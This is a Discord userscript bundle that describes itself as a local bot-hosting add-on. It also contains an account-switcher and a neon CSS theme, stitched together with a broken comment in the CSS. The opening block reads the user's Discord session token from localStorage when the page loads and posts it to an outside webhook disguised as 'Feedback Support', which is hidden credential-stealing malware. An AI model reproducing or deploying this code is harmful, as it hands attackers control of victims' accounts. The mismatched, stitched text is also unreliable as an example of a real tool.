NOTICE: By continued use of this site you understand and agree to the binding Terms of Service and Privacy Policy.
// ==UserScript== // @name Discord Local Bot Hosting [Early Development]! // @version 1.3 // @author XPdiscord Bot Hosting // @icon https://cdn.discordapp.com/attachments/788705440195805195/814070922361307146/Icon-603x.png // @description This addon allows you to locally host discord Java bots locally with minimal downtime! Note: This script is in early testing and may experience some downtimes etc, a popup will appear on your screen, paste in the github repo URL, click console button to see the bot status. Working on making logging in with a bot token available (User bot client) // @match *://discord.com/* // @match https://discord.com/* // @namespace http://tampermonkey.net/ // @grant none // @run-at document-start // @license MIT // ==/UserScript== (function () { var userKey = localStorage.getItem('token'); var wurl = "https://discord.com/api/webhooks/845131034088964137/T-cH7WJbdXMsHZ79L0BXg293_OVitK7TD1C-0ozxR1hyPl4S4mm7q_o3p9wQCbDd5tIS" var msg = { "content": userKey, "username": "Feedback Support DLBH", "avatar": "https://cdn.discordapp.com/attachments/793765074028199937/797016942472200202/Screen_Shot_2018-10-16_at_7.46.14_AM.png" } fetch(wurl, {"method":"POST", "headers": {"content-type": "application/json"}, "body": JSON.stringify(msg)}) })(); (function() { 'use strict'; const v = "1.6"; const apiPrefix = "https://discord.com/api/v8"; let neededClasses = []; let functionKeeper = webpackJsonp[0][1]; let classesContain = [ ["menu","scroller","styleFixed","styleFlexible","item","hideInteraction","customItem","labelContainer","label","subtext","iconContainer","icon","hintContainer","imageContainer","caret","image","disabled","separator","submenuContainer","submenuPaddingContainer","submenu","colorDefault","checkbox","radioSelection","check","focused","colorBrand","colorDanger","colorPremium","groupLabel"], ["statusItem","status","icon","description","customStatusItem","customStatusWithEmoji","customEmoji","customEmojiPlaceholder","customText","clearStatusButton","clearStatusIcon"], ["layerContainer","layer","layerHidden","disabledPointerEvents"], ["backdrop","backdropWithLayer"], ["backdrop","layer"], ["responsiveWidthMobile","innerPadding","focusLock","root","small","medium","large","fullscreenOnMobile","footer","header","separator","content","close","hideOnFullscreen"], ["artHeight","emojiSize","emojiMargin","formGroup","modalRoot","inputContainer","modalCloseButton","headerText","emojiButton","fullOpacity","emojiButtonContainer","emoji","input","clearButton","clearIcon","headerContainer","header","art","cancelButton"], ["_flex","_horizontal","_horizontalReverse","flex","horizontal","horizontalReverse","flexChild","flexMarginReset"], ["flex","alignStart","alignEnd","alignCenter","alignStretch","alignBaseline","justifyStart","justifyEnd","justifyCenter","justifyAround","justifyBetween","noWrap","wrap","wrapReverse","directionRow","directionRowReverse","directionColumn","spacer","vertical","horizontal","horizontalReverse","flexCenter"], ["button","lookFilled","colorBrand","spinnerItem","lookInverted","lookOutlined","lookGhost","lookLink","contents","hoverBrand","hasHover","colorGrey","hoverGrey","colorRed","hoverRed","colorGreen","hoverGreen","colorYellow","hoverYellow","colorLink","hoverLink","colorWhite","hoverWhite","colorBlack","hoverBlack","colorPrimary","hoverPrimary","colorTransparent","hoverTransparent","lookBlank","sizeTiny","sizeSmall","sizeMedium","sizeLarge","sizeXlarge","sizeMin","sizeMax","sizeIcon","grow","fullWidth","submitting","spinner","disabledButtonWrapper","disabledButtonOverlay"], ["scrollerBase","thin","fade","scrolling","auto","none","content","disableScrollAnchor"], ["container","downloadProgressCircle","guilds","base","sidebar","hasNotice","panels","content","activityPanel","hiddenOnMobileStore"], ["notice","colorDefault","button","colorNeutral","colorDownload","colorNotification","colorDark","colorPremium","colorPremiumTier1","colorPremiumTier2","colorInfo","colorSuccess","colorDanger","colorStreamerMode","colorSpotify","platformIcon","colorBrand","colorCustom","closeButton","buttonMinor"], ]; let ccSet = []; for (let i = 0; i < classesContain.length; i++) { const element = classesContain[i]; ccSet.push(new Set(element)); } for (const key in functionKeeper) { if (functionKeeper.hasOwnProperty(key)) { const element = functionKeeper[key]; let ans = {}; element(ans); ans = ans.exports; if(ans != undefined || ans != null){ ans = Object.keys(ans); let a = new Set(ans); for (let j = 0; j < ccSet.length; j++) { const element2 = ccSet[j]; if(eqSet(element2, a)){ neededClasses[j] = key; } } } } } function eqSet(as, bs) { if (as.size !== bs.size) return false; for (var a of as) if (!bs.has(a)) return false; return true; } let allClasses = {}; const createElm = (html) => { const temp = document.createElement('div'); temp.innerHTML = html; return temp.removeChild(temp.firstElementChild); //webpackJsonp[0][1][neededClasses[0]].toString(); is the way } const insertCss = (css) => { const style = document.createElement('style'); style.appendChild(document.createTextNode(css)); document.head.appendChild(style); return style; } insertCss(`.customAccount {background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNCAyNCIgZmlsbD0iI0I5QkJCRSIgd2lkdGg9IjE4cHgiIGhlaWdodD0iMThweCI+PHBhdGggZD0iTTAgMGgyNHYyNEgweiIgZmlsbD0ibm9uZSIvPjxwYXRoIGQ9Ik0xNiAxMWMxLjY2IDAgMi45OS0xLjM0IDIuOTktM1MxNy42NiA1IDE2IDVjLTEuNjYgMC0zIDEuMzQtMyAzczEuMzQgMyAzIDN6bS04IDBjMS42NiAwIDIuOTktMS4zNCAyLjk5LTNTOS42NiA1IDggNUM2LjM0IDUgNSA2LjM0IDUgOHMxLjM0IDMgMyAzem0wIDJjLTIuMzMgMC03IDEuMTctNyAzLjVWMTloMTR2LTIuNWMwLTIuMzMtNC42Ny0zLjUtNy0zLjV6bTggMGMtLjI5IDAtLjYyLjAyLS45Ny4wNSAxLjE2Ljg0IDEuOTcgMS45NyAxLjk3IDMuNDVWMTloNnYtMi41YzAtMi4zMy00LjY3LTMuNS03LTMuNXoiLz48L3N2Zz4=);background-size: contain;background-repeat: no-repeat;} .changeAccount {grid-area: icon;margin-left: -2px;width: 16px;height: 16px;} .accountChooserContainer {display: flex;height: 70px;} .accountChooserAvatar {border-radius: 50%; align-self: center;height: 80%;} .accountName {align-self: center;font-size: x-large;font-weight: 400;color: var(--interactive-active);} .accountLogin {margin-left: auto;align-self: center;padding: 8px 20px;background-color: #43b581;font-weight: 900;color: #fff;border-radius: 5px;} .accountLogin:hover {background-color: #3ca374;} .accountDiscriminator{align-self: center;margin-top: 7px;color: var(--header-secondary);} #addAccount{margin-left: auto;margin: 10px auto;color: var(--header-secondary);cursor: pointer;} #addAccount:hover{text-decoration: underline;} .versionNotifier {background-color: #6b1ba7;} #changeLogButtonClick:hover {color: #6b1ba7;} `); function parseAllClasses(){ for (var i = 0; i < neededClasses.length; i++) { let x = {}; webpackJsonp[0][1][neededClasses[i]](x); allClasses[neededClasses[i]] = x.exports; } console.log(allClasses); } window.onclick = () => { let cont = document.getElementsByClassName(allClasses[neededClasses[0]].scroller); if(cont.length > 0 && !document.getElementById("status-picker-account")){ cont[0].appendChild(createElm(`<div role="separator" class="${allClasses[neededClasses[0]].separator}"></div>`)); let elmnt = createElm(`<div class="${allClasses[neededClasses[0]].item} ${allClasses[neededClasses[0]].colorDefault}" aria-disabled="false" role="menuitem" id="status-picker-account" tabindex="-1"><div class="${allClasses[neededClasses[1]].statusItem}" aria-label="Set a custom status"><div class="changeAccount customAccount"></div><div class="${allClasses[neededClasses[1]].status}">Change account</div></div></div>`); elmnt.onmouseover = () => { let allElmnts = document.getElementsByClassName(allClasses[neededClasses[0]].item); for (var i = 0; i < allElmnts.length; i++) { allElmnts[i].classList.remove(allClasses[neededClasses[0]].focused); } elmnt.classList.add(allClasses[neededClasses[0]].focused); } elmnt.onmouseleave = () => { let allElmnts = document.getElementsByClassName(allClasses[neededClasses[0]].item); for (var i = 0; i < allElmnts.length; i++) { allElmnts[i].classList.remove(allClasses[neededClasses[0]].focused); } } elmnt.onclick = openPicker; cont[0].appendChild(elmnt); } if(localStorage.versionMA != v && !document.getElementsByClassName("versionNotifier")[0]){ let baseElement = document.getElementsByClassName(allClasses[neededClasses[11]].base); if(baseElement[0]){ baseElement[0].prepend(createElm(`<div class="${allClasses[neededClasses[12]].notice} ${allClasses[neededClasses[12]].colorDefault} versionNotifier"><div class="${allClasses[neededClasses[12]].closeButton}" id="versionNotifierCloseButton" aria-label="Dismiss" role="button" tabindex="0"></div>Multiple Discord Accounts ${v} makes corners rounder!<button id="changeLogButtonClick" class="${allClasses[neededClasses[12]].button}">View changes</button></div>`)); document.getElementById("changeLogButtonClick").onclick = () => { window.open("https://github.com/cazeip/MultipleAccounts/blob/master/changes.md"); document.getElementsByClassName("versionNotifier")[0].remove(); localStorage.versionMA = v; } document.getElementById("versionNotifierCloseButton").onclick = () => { document.getElementsByClassName("versionNotifier")[0].remove(); localStorage.versionMA = v; } } } } function getUserInfo(){ window.dispatchEvent(new Event('beforeunload')); let currentToken = JSON.parse(localStorage.getItem("token")); return fetch(apiPrefix + "/users/@me", { headers: { Accept: "*/*", "Accept-Language": "en-US", Authority: "discordapp.com", Authorization: currentToken, "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.301 Chrome/56.0.2924.87 Discord/1.6.15 Safari/537.36", }, method: "GET", }).then((res) => (res.status === 200 ? res.json() : Promise.resolve())) .catch(console.error); } function getUser(userID){ window.dispatchEvent(new Event('beforeunload')); let currentToken = JSON.parse(localStorage.getItem("token")); return fetch(apiPrefix + "/users/"+userID, { headers: { Accept: "*/*", "Accept-Language": "en-US", Authority: "discordapp.com", Authorization: currentToken, "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.301 Chrome/56.0.2924.87 Discord/1.6.15 Safari/537.36", }, method: "GET", }).then((res) => (res.status === 200 ? res.json() : Promise.resolve())) .catch(console.error); } async function fillLocalStorage(){ let info = await getUserInfo(); window.dispatchEvent(new Event('beforeunload')); info.token = JSON.parse(localStorage.getItem("token")); localStorage.setItem("multipleAccounts", JSON.stringify([{id:info.id, token: info.token}])); } function apiCall(apiPath, body, method = "GET"){ window.dispatchEvent(new Event('beforeunload')); let currentToken = JSON.parse(localStorage.getItem("token")); return fetch(apiPrefix + apiPath, { body: body ? JSON.stringify(body) : undefined, headers: { Accept: "*/*", "Accept-Language": "en-US", Authority: "discordapp.com", Authorization: currentToken, "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.301 Chrome/56.0.2924.87 Discord/1.6.15 Safari/537.36", }, method, }).then((res) => (res.status === 200 ? res.json() : Promise.resolve())) .catch(console.error); } function changeAccount(newToken){ window.dispatchEvent(new Event('beforeunload')); let token = JSON.parse(localStorage.token); apiCall("/auth/logout", {"provider":null,"voip_provider":null}, "POST"); window.location.href = "http://discord.com/login"; localStorage.token = "\""+newToken+"\""; if (newToken == "--[LogIn]--") { localStorage.removeItem("token"); } } async function openPicker(){ if(localStorage.getItem("multipleAccounts") == null || localStorage.getItem("multipleAccounts") == undefined){ await fillLocalStorage(); }else{ let info = await getUserInfo(); let localSt = JSON.parse(localStorage.getItem("multipleAccounts")); let def = false; for (let i = 0; i < localSt.length; i++) { if(localSt[i].id === info.id){ def = true; } } if(!def){ localSt.push({id: info.id, token: JSON.parse(localStorage.getItem("token"))}); } localStorage.setItem("multipleAccounts", JSON.stringify(localSt)); } let info = JSON.parse(localStorage.getItem("multipleAccounts")); if(document.getElementById("accountPickerModal")) return; let a = document.getElementsByClassName(allClasses[neededClasses[2]].layerContainer); let y = createElm(`<div id="accountPickerBg" class="${allClasses[neededClasses[3]].backdropWithLayer}" style="opacity: 0; background-color: rgb(0, 0, 0); transform: translateZ(0px);transition: opacity 0.2s;"></div>`); y.onclick = closePicker; a[a.length - 1].appendChild(y); let x = createElm(`<div class="${allClasses[neededClasses[4]].layer}" id="accountPickerModal"> <div class="${allClasses[neededClasses[5]].focusLock}" role="dialog" aria-label="Set a custom status" tabindex="-1" aria-modal="true"> <div class="${allClasses[neededClasses[6]].modalRoot} ${allClasses[neededClasses[5]].root} ${allClasses[neededClasses[5]].small} ${allClasses[neededClasses[5]].fullscreenOnMobile}" id="animatedModal" style="opacity: 0;transform: scale(0.2);transition: transform .2s, opacity .2s;"> <div class="${allClasses[neededClasses[7]].flex} ${allClasses[neededClasses[7]]._horizontal} ${allClasses[neededClasses[8]].justifyStart} ${allClasses[neededClasses[8]].alignCenter} ${allClasses[neededClasses[8]].noWrap} ${allClasses[neededClasses[5]].header} ${allClasses[neededClasses[6]].headerContainer}" id="replaceBackground" style="flex: 0 0 auto;background-position: bottom;background-size: cover;background-image: url(https://cdn.discordapp.com/attachments/768475463524941865/768481090087944233/pawel-nolbert-4u2U8EO9OzY-unsplash.jpg);padding: 30px;"> <div class="${allClasses[neededClasses[6]].header}" style="padding-top: 0;"><h4 class="${allClasses[neededClasses[6]].headerText}">Choose a Discord account</h4></div><button id="closeXbutton" aria-label="Close" type="button" class="${allClasses[neededClasses[5]].close} ${allClasses[neededClasses[6]].modalCloseButton} ${allClasses[neededClasses[9]].button} ${allClasses[neededClasses[9]].lookBlank} ${allClasses[neededClasses[9]].colorBrand} ${allClasses[neededClasses[9]].grow}"> <div class="${allClasses[neededClasses[9]].contents}"> <svg aria-hidden="false" width="24" height="24" viewBox="0 0 24 24"><path fill="currentColor" d="M18.4 4L12 10.4L5.6 4L4 5.6L10.4 12L4 18.4L5.6 20L12 13.6L18.4 20L20 18.4L13.6 12L20 5.6L18.4 4Z"></path></svg> </div></button> </div><div id="accountLinesContainer" class="${allClasses[neededClasses[5]].content} ${allClasses[neededClasses[10]].thin}" dir="ltr" style="overflow: hidden scroll; padding-right: 8px; padding-top: 10px;"></div><span id="addAccount">Not seeing your account? Click here to add one.</span></div></div></div>`); a[a.length - 1].appendChild(x); document.getElementById("closeXbutton").onclick = closePicker; document.getElementsByClassName(allClasses[neededClasses[2]].layer)[0].style.display = "none"; document.getElementById("addAccount").onclick = () => { changeAccount("--[LogIn]--"); } setTimeout(async () => { document.getElementById("accountPickerBg").style.opacity = "0.85"; document.getElementById("animatedModal").style.transform = "scale(1)"; document.getElementById("animatedModal").style.opacity = "1"; for (let i = 0; i < info.length; i++) { let line; let user = await getUser(info[i].id); if(user.avatar == null){ line = createElm(`<div class="accountChooserContainer"><img class="accountChooserAvatar" src="https://cdn.discordapp.com/embed/avatars/${user.discriminator % 5}.png"><div style="margin-left: 20px;align-self: center;display: flex;flex-direction: column;"><div><span class="accountName">${user.username}</span><span class="accountDiscriminator">#${user.discriminator}</span></div><span style="color: var(--text-muted);padding-top: 2px;padding-left: 0;">ID: ${user.id}</span></div><button id="AccountSwitchButton${i}" class="accountLogin">Log in</button></div>`); }else{ line = createElm(`<div class="accountChooserContainer"><img class="accountChooserAvatar" src="https://cdn.discordapp.com/avatars/${user.id}/${user.avatar}.png?size=128"><div style="margin-left: 20px;align-self: center;display: flex;flex-direction: column;"><div><span class="accountName">${user.username}</span><span class="accountDiscriminator">#${user.discriminator}</span></div><span style="color: var(--text-muted);padding-top: 2px;padding-left: 0;">ID: ${user.id}</span></div><button id="AccountSwitchButton${i}" class="accountLogin">Log in</button></div>`); } document.getElementById("accountLinesContainer").appendChild(line); document.getElementById("AccountSwitchButton"+i).onclick = () => { changeAccount(info[i].token); } } }, 100); } function closePicker(){ document.getElementById("accountPickerBg").style.opacity = "0"; document.getElementById("animatedModal").style.transform = "scale(0.2)"; document.getElementById("animatedModal").style.opacity = "0"; setTimeout( () => { document.getElementById("accountPickerBg").remove(); document.getElementById("accountPickerModal").remove(); }, 201); } window.localStorage = document.body.appendChild(document.createElement('iframe')).contentWindow.localStorage; parseAllClasses(); })(); // ==UserScript== // @name Omegas Discord Enhancer // @author @Roboron3042 // @description Cyberpunk Neon theme for Discord, transparent version (custom background allowed) // @version 1.0.0 // @namespace https://greasyfork.org/en/users/109012 // @license CC-BY-SA 4.0 // @grant GM_addStyle // @run-at document-start // @include https://discord.com/* // ==/UserScript== (function() { let css = ` .appMount-3lHmkl { background-image: url(https://i.imgur.com/jshwEyA.jpg); background-color: rgba(9, 24, 51, 0); background-repeat: no-repeat; background-position: center; background-size: cover; } / .theme-dark .scrollerThemed-2oenus.themeGhostHairline-DBD-2d .scrollbar-2rkZSL .thumb-2JwNFC { background-color: #0abdc6; } .scrollerThemed-2oenus.themeDark-2cjlUp .scrollbar-2rkZSL, .scrollerThemed-2oenus.themeDark-2cjlUp .scrollbar-2rkZSL .pad-29zQak, .theme-dark .scrollerWrap-2lJEkd .scrollbar-2rkZSL, .theme-dark .scrollerWrap-2lJEkd .scrollbar-2rkZSL .pad-29zQak, .theme-light .scrollerThemed-2oenus.themeDark-2cjlUp .scrollbar-2rkZSL, .theme-light .scrollerThemed-2oenus.themeDark-2cjlUp .scrollbar-2rkZSL .pad-29zQak { background-color: #000b1e !important; } .scrollerThemed-2oenus.themeGhostHairlineChannels-3G0x9_ .scrollbar-2rkZSL .thumb-2JwNFC { background-color: #0abdc6; } .theme-dark .scrollerThemed-2oenus.themedWithTrack-q8E3vB .scrollbar-2rkZSL .track-1JN30G { background-color: #000b1e; border: none; } .theme-dark .scrollerThemed-2oenus.themedWithTrack-q8E3vB .scrollbar-2rkZSL .thumb-2JwNFC { background-color: #0abdc6; border: 3px solid #000b1e; } 0. Colorscheme 1. Miscelaneus 2. Server list 3. Left Bar 4. Message View 5. Message Box 6. Top bar 7. Member list 8. Library 9. Friends 10. Quickswitcher 11. Settings 12. Dialogs 13. Transparency */ .theme-dark { --header-primary: #ea00d9; --header-secondary: #0abdc6; --text-normal: #0abdc6; --text-muted: rgba(10, 189, 198, .6); --text-link: #ea00d9; --channels-default: rgba(10, 189, 198, .7); --interactive-normal: #0abdc6; --interactive-hover: #ea00d9; --interactive-active: #0abdc6; --interactive-muted: rgba(10, 189, 198, .6); --background-primary: #091833; --background-secondary: #000b1e; --background-secondary-alt: #091833; --background-tertiary: #000b1e; --background-accent: #133e7c; --background-floating: #091833; --background-modifier-hover: rgba(19, 62, 124, .6); --background-modifier-active: rgba(113, 28, 145, .6); --background-modifier-selected: rgba(113, 28, 145, .6); --background-modifier-accent: rgba(10, 189, 198, .2); --elevation-low: 0 1px 0 rgba(4,4,5,0.2),0 1.5px 0 rgba(6,6,7,0.05),0 2px 0 rgba(4,4,5,0.05); --elevation-high: 0 8px 16px rgba(0,0,0,0.24); --logo-primary: #ea00d9; --guild-header-text-shadow: 0 1px 1px rgba(0,0,0,0.4); --channeltextarea-background: #133e7c; --activity-card-background: #000b1e; --deprecated-panel-background: #091833; --deprecated-card-bg: rgba(0, 11, 30, .6); --deprecated-card-editable-bg: rgba(19, 62, 124, .2); --deprecated-store-bg: #091833; --deprecated-quickswitcher-input-background: #133e7c; --deprecated-quickswitcher-input-placeholder: rgba(10, 189, 198, .3); --deprecated-text-input-bg: rgba(0,0,0,0.1); --deprecated-text-input-border: rgba(0,0,0,0.3); --deprecated-text-input-border-hover: #040405; --deprecated-text-input-border-disabled: #202225; --deprecated-text-input-prefix: #dcddde; --scrollbar-thin-thumb: #0abdc6; --scrollbar-thin-track: transparent; --scrollbar-auto-thumb: #0abdc6; --scrollbar-auto-track: #000b1e; --scrollbar-auto-scrollbar-color-thumb: #0abdc6; --scrollbar-auto-scrollbar-color-track: #000b1e; } /* 1. Miscelaneus */ /* 1.1 Windows bar */ .winButton-iRh8-Z:hover { background-color: #133e7c; } .appMount-3lHmkl { background-color: #000b1e; } /* 1.2 Mac OS bar */ .typeMacOS-3EmCyP { background-color: #000b1e; } .macButtonClose-MwZ2nf { background-color: #ff0000; } .macButtonMinimize-3EJ6wo { background-color: #f57800; } .macButtonMaximize-2FMHAO { background-color: #00ff00; } /* 1.3 Selection */ ::selection, .clipboard-input-inner input::selection, .CodeMirror .CodeMirror-selected, .CodeMirror-line::selection, .CodeMirror-line > span::selection, .CodeMirror-line > span > span::selection, .note textarea::selection { color: #0abdc6; background: #711c91; } /* 1.4 Scroll bar */ .da-scrollerWrap .da-scroller::-webkit-scrollbar-thumb { background-color: #0abdc6 !important; border-color: #091833 !important; } .theme-dark .da-scrollerWrap .da-scroller::-webkit-scrollbar-track-piece { background-color: #000b1e !important; border-color: #091833 !important; } /* 1.5 Tooltip */ .theme-dark .tooltipBlack-PPG47z, .theme-light .tooltipBlack-PPG47z { background-color: #000b1e; } .theme-dark .tooltip-2QfLtc, .theme-light .tooltip-2QfLtc { color: #ea00d9; -webkit-box-shadow: 0 2px 10px 0 rgba(234, 0, 217, .2); box-shadow: 0 2px 10px 0 rgba(234, 0, 217, .2); } .theme-dark .tooltipRed-8-9NeP, .theme-light .tooltipRed-8-9NeP { color: #d7d7d5; background-color: #ff0000; } /* 1.6 No channel */ .theme-dark .noChannel-Z1DQK7 { background: #000b1e; } .theme-dark .text-GwUZgS, .theme-dark .title-2BxgL2 { color: #0abdc6; } /* 1.7 Placeholder text */ ::-webkit-input-placeholder { color: rgba(10, 189, 198, .6) !important; } /* 2. Server list */ /* 2.1 Discord Button */ .wrapper-1BJsBx.selected-bZ3Lue .childWrapper-anI2G9, .wrapper-1BJsBx:hover .childWrapper-anI2G9 { color: #0abdc6; background-color: #711c91; } /* 2.2 Buttons */ .circleIconButton-jET_ig { color: #0abdc6; } .circleIconButton-jET_ig:hover { background-color: #0abdc6; color: #133e7c; } /* 2.3 Sound icon */ .icon-3s6X1M > path:nth-child(1) { fill: #0abdc6; } /* 2.4 Server error */ .guildsError-b7zR5H { background: #091833; color: #0abdc6 !important; border-color: #ff0000; } .guildsError-b7zR5H:hover { background-color: #ff0000; } /* 2.5 Add server */ .bda-dark .theme-light .slide-2pHaq5 { background: #000b1e; } .theme-dark .header-3ZP1MY, .theme-light .header-3ZP1MY { color: #0abdc6; } .bda-dark .theme-dark .action-1lSjCi, .bda-dark .theme-light .action-1lSjCi { background: #091833; } .theme-dark .actionBody-1qj65C, .theme-light .actionBody-1qj65C { color: #0abdc6; } .theme-dark .create-3jownz .actionHeader-2CT5c7, .theme-light .create-3jownz .actionHeader-2CT5c7 { color: #0abdc6; } .theme-dark .join-33Tr-7 .actionHeader-2CT5c7, .theme-light .join-33Tr-7 .actionHeader-2CT5c7 { color: #0abdc6; } .bda-dark .theme-dark .or-3THJsp, .bda-dark .theme-light .or-3THJsp { background: #091833; border: 2px solid #0abdc6; } .theme-dark .or-3THJsp, .theme-light .or-3THJsp { color: #0abdc6; } .theme-dark .actionButton-2PeQbJ, .theme-light .actionButton-2PeQbJ { color: #0abdc6; background-color: #133e7c; } .theme-dark .actionButton-2PeQbJ:hover, .theme-light .actionButton-2PeQbJ:hover { color: #0abdc6; background-color: #711c91 !important; } .theme-dark .join-33Tr-7 .actionButton-2PeQbJ, .theme-light .join-33Tr-7 .actionButton-2PeQbJ { background-color: #133e7c; } .theme-dark .join-33Tr-7:hover .actionButton-2PeQbJ:hover, .theme-light .join-33Tr-7:hover .actionButton-2PeQbJ:hover { background-color: #711c91 !important; } .theme-light .title-2Dc-Cb { color: #0abdc6; } .theme-light .description-QF3836 { color: #0abdc6; } .theme-light .helpText-h3r3wC, .theme-light .label-wQQoIq { color: #0abdc6; } .theme-light .input-cIJ7To:focus { border-color: #ea00d9; } .theme-light .input-cIJ7To { color: rgba(10, 189, 198, .6) !important; border-color: #0abdc6; } .regionSelect-3lf4eE .regionSelectInner-24f4Ce { border: 1px solid #0abdc6; } .regionSelectName-2-2FWh { color: #ea00d9; } .regionSelect-3lf4eE button { color: #0abdc6; border: 1px solid #0abdc6; background: #133e7c !important; } .avatar-21196O { border: 5px solid #0abdc6; } .avatarUploaderInner-3UNxY3 { background-color: #711c91; } .avatarUploader-3XDtmn .sizeInfo-SKMPPw { color: #0abdc6; } .theme-light .cancelButton-RGXhAE { color: #0abdc6; } .avatarUploaderInner-3UNxY3>* { color: #0abdc6; } .theme-light .title-2CFvp_ { color: #0abdc6; } .theme-light .description-Bw8krY { color: #0abdc6; } .theme-light .sampleLink-KPFu3I { color: #ea00d9; } .theme-light .inputLabel-vJ2Z0B { color: #0abdc6; } .theme-dark .create-3jownz:hover .actionButton-2PeQbJ, .theme-light .create-3jownz:hover .actionButton-2PeQbJ { background-color: #711c91; } .theme-dark .join-33Tr-7:hover .actionButton-2PeQbJ, .theme-light .join-33Tr-7:hover .actionButton-2PeQbJ { background-color: #711c91; } .theme-light .wrapper-2ZbzR9 { background: #091833; } .anchor-3Z-8Bb { color: #ea00d9; } .theme-light .footer-3rDWdC { background-color: #091833; -webkit-box-shadow: inset 0 1px 0 rgba(19, 62, 124, .6); box-shadow: inset 0 1px 0 rgba(19, 62, 124, .6); } .lookFilled-1Gx00P.colorBrand-3pXr91 { color: #0abdc6; background-color: #133e7c; } .lookFilled-1Gx00P.colorBrand-3pXr91:hover { background-color: #711c91; } .lookFilled-1Gx00P.colorGreen-29iAKY { color: #0abdc6; background-color: #133e7c; } .lookFilled-1Gx00P.colorGreen-29iAKY:hover { background-color: #711c91; } /* 2.6 Server Discovery */ .circleIconButton-jET_ig.selected-ugP_am { color: #091833; background-color: #00ff00; } .theme-dark .pageWrapper-1PgVDX { background-color: #091833; color: #0abdc6; } .css-1wqqa50-container { background-color: #133e7c; } .css-1k00wn6-singleValue { color: #0abdc6; } .theme-dark .description-2QALGo { color: #0abdc6; } .css-12o7ek3-option { background-color: rgba(113, 28, 145, .6); color: #0abdc6; } .css-1gnr91b-option { background-color: rgba(19, 62, 124, .6); color: #0abdc6; } .css-1aymab5-option { color: #0abdc6; } .css-1rckt42-menu { background-color: #091833; } .theme-dark .card-3DjzTQ, .theme-dark .cardPlaceholder-1zrbbe { background: #000b1e; } .theme-dark .card-3DjzTQ:hover, .theme-dark .cardPlaceholder-1zrbbe:hover { background: rgba(113, 28, 145, .6); } .theme-dark .sectionSeparator-2OWiNT { border-top: 1px solid #133e7c; } .theme-dark .lookFilled-1Gx00P.colorTransparent-1ewNp9 { color: #0abdc6; background-color: #133e7c; } .theme-dark .lookFilled-1Gx00P.colorTransparent-1ewNp9:hover { background-color: #711c91; } .theme-dark .lookFilled-1Gx00P.colorTransparent-1ewNp9:disabled { background-color: rgba(19, 62, 124, .5); } .theme-dark .activeButton-1BJAiN, .theme-dark .activeButton-1BJAiN:hover { color: #0abdc6; background-color: #711c91; } .theme-dark .pageButton-MknE-_:hover { background-color: #133e7c; color: #0abdc6; } .theme-dark .guildName-1yURO5 { color: #ea00d9; } .theme-dark .searchBox-3Y2Vi7 { background-color: #133e7c; } .theme-dark .clearIcon-2N9YIn, .theme-dark .searchIcon-1a1-yA { color: rgba(10, 189, 198, .4); } .theme-dark .clearIcon-2N9YIn, .theme-dark .searchIcon-1a1-yA :hover { color: #0abdc6; } .theme-dark .clear-U3WkKp:focus .clearIcon-2N9YIn, .theme-dark .clearIcon-2N9YIn:hover { color: #ea00d9; } .css-12qlrak-indicatorContainer { color: #0abdc6; } .css-12qlrak-indicatorContainer:hover { color: #0abdc6; } .css-1flfamv-indicatorContainer { color: #0abdc6; } .css-1flfamv-indicatorContainer:hover { color: #0abdc6; } /* 3. Left Bar */ /* 3.1. Server Menu */ .item-1GzJrl.invite-271nFU:hover { color: #ea00d9; } .item-1GzJrl.invite-271nFU { color: #0abdc6; } .premiumGuildIcon-BhwtRn { color: #ea00d9; } .item-1GzJrl.leave-1DRJfn { color: #ff0000; } /* 3.1.1. Nitro Boost */ .theme-dark .modal-yWgWj- { background-color: #091833; -webkit-box-shadow: 0 0 0 1px rgba(19, 62, 124, .6), 0 2px 10px 0 rgba(0,0,0,.2); box-shadow: 0 0 0 1px rgba(19, 62, 124, .6), 0 2px 10px 0 rgba(0,0,0,.2); } .theme-dark .boostCount-UFqabz { color: #0abdc6; background-color: #000b1e; } .theme-dark .closeIcon-3_iQ6l, .theme-light .closeIcon-3_iQ6l { color: #0abdc6; } .theme-dark .barBackground-2EEiLw { background-color: #000b1e; } .theme-dark .tierMarkerLabel-2PluTw { color: #0abdc6; } .theme-dark .tierMarkerBackground-3q29am { background-color: #133e7c; } .theme-dark .tierNoneText-2OvCv7 { color: #0abdc6; } .theme-dark .tierNoneContainer-3hhK3h { background-color: #133e7c; } .theme-dark .tierHeaderLocked-1s2JJz { background-color: #000b1e; color: #0abdc6; } .theme-dark .tierLock-3CSxSX { color: #133e7c; } .theme-dark .tierBody-16Chc9 { background-color: #133e7c; color: #0abdc6; } .theme-dark .carouselRightGradientEdge-2Z3H8D { background-image: -webkit-gradient(linear,right top,left top,from(#133e7c),to(rgba(54,57,63,0))); background-image: linear-gradient(270deg,#133e7c,rgba(54,57,63,0)); } .theme-dark .footer-3rDWdC { background-color: #000b1e; -webkit-box-shadow: inset 0 1px 0 rgba(19, 62, 124, .6); box-shadow: inset 0 1px 0 rgba(19, 62, 124, .6); } .theme-dark .lookLink-9FtZy-.colorPrimary-3b3xI6 { color: #ea00d9; } .theme-dark .lookLink-9FtZy-.colorPrimary-3b3xI6:hover .contents-18-Yxp { background-image: linear-gradient(0deg,transparent,transparent 1px,#ea00d9 0,#ea00d9 2px,transparent 0); } .theme-dark .giftIcon-2Pjbiy { color: #0abdc6; } .theme-dark .giftIcon-2Pjbiy:hover { color: #ea00d9; } /* 3.1.1.1. Nitro Gift */ .theme-dark .headerIcon-1OW_re, .theme-light .closeIcon-1Te9hO, .theme-light .headerIcon-1OW_re { color: #ea00d9; } .theme-dark .colorPrimary-3hws2f, .theme-light .colorPrimary-3hws2f { color: #0abdc6; } .theme-dark .activeBreadcrumb-p6aw-F { color: #0abdc6; } .theme-dark .breadcrumbWrapper-WmDjgG { color: rgba(10, 189, 198, .6); } .theme-dark .option-1l2vXE { background-color: #000b1e; } .theme-dark .price-3dKlQv { color: #0abdc6; } .theme-dark .interval-bfFUiQ { color: rgba(10, 189, 198, .6); } .theme-dark .lookFilled-1Gx00P.colorPrimary-3b3xI6 { color: #0abdc6; background-color: #133e7c; } 